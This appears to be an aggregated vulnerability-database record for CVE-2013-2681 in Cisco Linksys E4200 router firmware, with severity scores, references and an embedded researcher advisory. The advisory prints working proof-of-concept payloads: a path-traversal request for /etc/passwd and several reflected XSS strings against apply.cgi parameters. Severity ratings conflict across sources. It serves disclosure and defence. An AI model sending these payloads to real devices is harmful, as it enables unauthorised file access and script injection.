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ID

VAR-202002-0522


CVE

CVE-2013-2681


TITLE

Cisco Linksys E4200 Authentication vulnerabilities in devices

Trust: 0.8

sources: JVNDB: JVNDB-2013-007181

DESCRIPTION

Cisco Linksys E4200 1.0.05 Build 7 devices contain a Security Bypass Vulnerability which could allow remote attackers to gain unauthorized access. Cisco Linksys E4200 There is an authentication vulnerability in the device.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. The Cisco Linksys E4200 is a high-end home/business wireless router developed by Cisco. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ============================================= XSS, LFI in Cisco, Linksys E4200 Firmware ============================================= URL: http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html ============================================= January 30, 2013 ============================================= Keywords ============================================= XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, Exploit, Zero Day, Cisco, Linksys, E4200, Wireless Router, cyberTAN Corp CVE-2013-2678, CVE-2013-2679, CVE-2013-2680, CVE-2013-2681, CVE-2013-2682, CVE-2013-2683, CVE-2013-2684 ============================================= Summary Reflected XSS + LFI Bugs in the Cisco, Linksys E4200 Wireless Router Firmware Version: 1.0.05 build 7 were discovered by our Researchers in January 2013 and finally acknowledged by Linksys in April 2013. The Vendor is unable to Patch the Vulnerability in a reasonable timeframe. This document will introduce and discuss the vulnerability and provide Proof-of-Concept (PoC) Zero Day (0D) code examples for Firmware L Version 1.10 Released on July 9, 2012, and prior versions. ============================================= Overview Linksys is a brand of home and small office networking products and a company founded in 1988, which was acquired by Cisco Systems in 2003. In 2013, as part of its push away from the consumer market, Cisco sold their home networking division and Linksys to Belkin. Products currently and previously sold under the Linksys brand name include broadband and wireless routers, consumer and small business grade Ethernet switching, VoIP equipment, wireless internet video camera, AV products, network storage systems, and other products. Linksys products were widely available in North America off-the-shelf from both consumer electronics stores (CompUSA and Best Buy), internet retailers, and big-box retail stores (WalMart). Linksys' significant competition as an independent networking firm were D-Link and NetGear, the latter for a time being a brand of Cisco competitor Nortel. ============================================= Vendor Software Fingerprint ============================================= # Copyright (C) 2009, CyberTAN Corporation # All Rights Reserved. # # THIS SOFTWARE IS OFFERED "AS IS", AND CYBERTAN GRANTS NO WARRANTIES OF ANY # KIND, EXPRESS OR IMPLIED, BY STATUTE..... ============================================= The PoC's ============================================= LFI PoC ============================================= POST /storage/apply.cgi HTTP/1.1 HOST: my.vunerable.e4500.firmware submit_type=nas_admin&submit_button=NAS_Administration&change_action=gozila _cgi&next_page=../../../../../../../../../../../../../../../../etc/passwd ============================================= XSS PoC ============================================= /apply.cgi [log_type parameter] /apply.cgi [ping_ip parameter] /apply.cgi [ping_size parameter] /apply.cgi [submit_type parameter] /apply.cgi [traceroute_ip parameter] /storage/apply.cgi [new_workgroup parameter] /storage/apply.cgi [submit_button parameter] ============================================= POST /apply.cgi HTTP/1.1 �.. change_action=gozila_cgi&submit_button=Log_View&submit_type=undefined&log_t ype=&log_type=ilog14568"%3balert(1)//482 ============================================= Other XSS PoC�s ============================================= &ping_ip='><script>alert(1)</script> &ping_size='><script>alert(1)</script> &submit_type=start_traceroute'%3balert(1)// &traceroute_ip=a.b.c.d"><script>alert(1)</script> ============================================= CVE Information ============================================= File path traversal CVE-2013-2678 Cross-site scripting (reflected) CVE-2013-2679 Cleartext submission of password CVE-2013-2680 Password field with autocomplete enabled CVE-2013-2681 Frameable response (Clickjacking) CVE-2013-2682 Private IP addresses disclosed CVE-2013-2683 HTML does not specify charset CVE-2013-2684 CVSS Version 2 Score = 4.5 ============================================= END ============================================= -----BEGIN PGP SIGNATURE----- Version: 10.2.0.2526 wsBVAwUBUYkNUnz+WcLIygj0AQg1/QgAs9Ij9d9e6IYfZXeeiCZTwoKdgtOVkser M3c49LB4CnJrxMqlrVNhM5Y2YxjydpGG1EfNzc49L43dC2G/Q2cHRfQOWdgcIXEG uJPDmKcONMN+V+rwvncyulGnCgl7R7whxspjqQk4Ov6lM+rbL3ulEi5Lg2IwzoYy ul0J8okWO9hTBWh9cbAiUMMJ7FsC3Kb0KUH2NepathT604Pif4zHtxcYY62jOEdy 7xrUSt1HUw9HMC1s0MHLWcqUbJowSlx6cInl977WKphWB8bK0bqWJO+C0cCC3jdI V8qUOX2sfB2znwOcfsiTH4olBBH1nlXtnRJxyTr42qET4nBfqFOshg== =w123 -----END PGP SIGNATURE-----

Trust: 2.52

sources: NVD: CVE-2013-2681 // JVNDB: JVNDB-2013-007181 // CNVD: CNVD-2013-05037 // BID: 59714 // PACKETSTORM: 121551

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-05037

AFFECTED PRODUCTS

vendor:ciscomodel:linksys e4200scope:eqversion:1.0.05

Trust: 1.0

vendor:ciscomodel:linksys e4200scope:eqversion:1.0.05 build 7

Trust: 0.8

vendor:ciscomodel:linksys e4200scope: - version: -

Trust: 0.6

vendor:ciscomodel:linksys e4200 buildscope:eqversion:1.0.057

Trust: 0.3

sources: CNVD: CNVD-2013-05037 // BID: 59714 // JVNDB: JVNDB-2013-007181 // NVD: CVE-2013-2681

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-2681
value: CRITICAL

Trust: 1.0

NVD: JVNDB-2013-007181
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2013-05037
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201305-152
value: CRITICAL

Trust: 0.6

nvd@nist.gov: CVE-2013-2681
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.0

NVD: JVNDB-2013-007181
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2013-05037
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2013-2681
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: JVNDB-2013-007181
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2013-05037 // JVNDB: JVNDB-2013-007181 // CNNVD: CNNVD-201305-152 // NVD: CVE-2013-2681

PROBLEMTYPE DATA

problemtype:CWE-287

Trust: 1.8

sources: JVNDB: JVNDB-2013-007181 // NVD: CVE-2013-2681

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201305-152

TYPE

authorization issue

Trust: 0.6

sources: CNNVD: CNNVD-201305-152

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2013-007181

PATCH
title:Top Pageurl:https://www.linksys.com/us/
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2013-007181

EXTERNAL IDS
db:NVDid:CVE-2013-2681
Trust: 3.4
db:BIDid:59714
Trust: 2.5
db:PACKETSTORMid:121551
Trust: 2.5
db:JVNDBid:JVNDB-2013-007181
Trust: 0.8
db:EXPLOIT-DBid:25292
Trust: 0.6
db:CNVDid:CNVD-2013-05037
Trust: 0.6
db:CNNVDid:CNNVD-201305-152
Trust: 0.6
sources:
            
            
            CNVD: CNVD-2013-05037 // 
            
            
            
            BID: 59714 // 
            
            
            
            JVNDB: JVNDB-2013-007181 // 
            
            
            
            PACKETSTORM: 121551 // 
            
            
            
            CNNVD: CNNVD-201305-152 // 
            
            
            
            NVD: CVE-2013-2681

REFERENCES
url:http://packetstormsecurity.com/files/121551/cisco-linksys-e4200-cross-site-scripting-local-file-inclusion.html
Trust: 2.4
url:https://exchange.xforce.ibmcloud.com/vulnerabilities/84068
Trust: 1.6
url:http://www.securityfocus.com/bid/59714
Trust: 1.6
url:https://nvd.nist.gov/vuln/detail/cve-2013-2681
Trust: 1.5
url:http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html
Trust: 1.0
url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2681
Trust: 0.8
url:http://www.exploit-db.com/exploits/25292/
Trust: 0.6
url:http://support.linksys.com/en-us/support/routers/e4200
Trust: 0.3
url:https://nvd.nist.gov/vuln/detail/cve-2013-2683
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2684
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2679
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2680
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2682
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-2678
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2013-05037 // 
            
            
            
            BID: 59714 // 
            
            
            
            JVNDB: JVNDB-2013-007181 // 
            
            
            
            PACKETSTORM: 121551 // 
            
            
            
            CNNVD: CNNVD-201305-152 // 
            
            
            
            NVD: CVE-2013-2681

CREDITS
sqlhacker
Trust: 1.0
sources:
            
            
            BID: 59714 // 
            
            
            
            PACKETSTORM: 121551 // 
            
            
            
            CNNVD: CNNVD-201305-152

SOURCES
db:CNVDid:CNVD-2013-05037
db:BIDid:59714
db:JVNDBid:JVNDB-2013-007181
db:PACKETSTORMid:121551
db:CNNVDid:CNNVD-201305-152
db:NVDid:CVE-2013-2681

LAST UPDATE DATE
2024-08-14T13:24:59.304000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2013-05037date:2013-05-26T00:00:00
db:BIDid:59714date:2013-05-06T00:00:00
db:JVNDBid:JVNDB-2013-007181date:2020-02-21T00:00:00
db:CNNVDid:CNNVD-201305-152date:2020-05-25T00:00:00
db:NVDid:CVE-2013-2681date:2020-02-07T14:40:08.593

SOURCES RELEASE DATE
db:CNVDid:CNVD-2013-05037date:2013-05-10T00:00:00
db:BIDid:59714date:2013-05-06T00:00:00
db:JVNDBid:JVNDB-2013-007181date:2020-02-21T00:00:00
db:PACKETSTORMid:121551date:2013-05-07T20:22:22
db:CNNVDid:CNNVD-201305-152date:2013-05-09T00:00:00
db:NVDid:CVE-2013-2681date:2020-02-05T21:15:10.780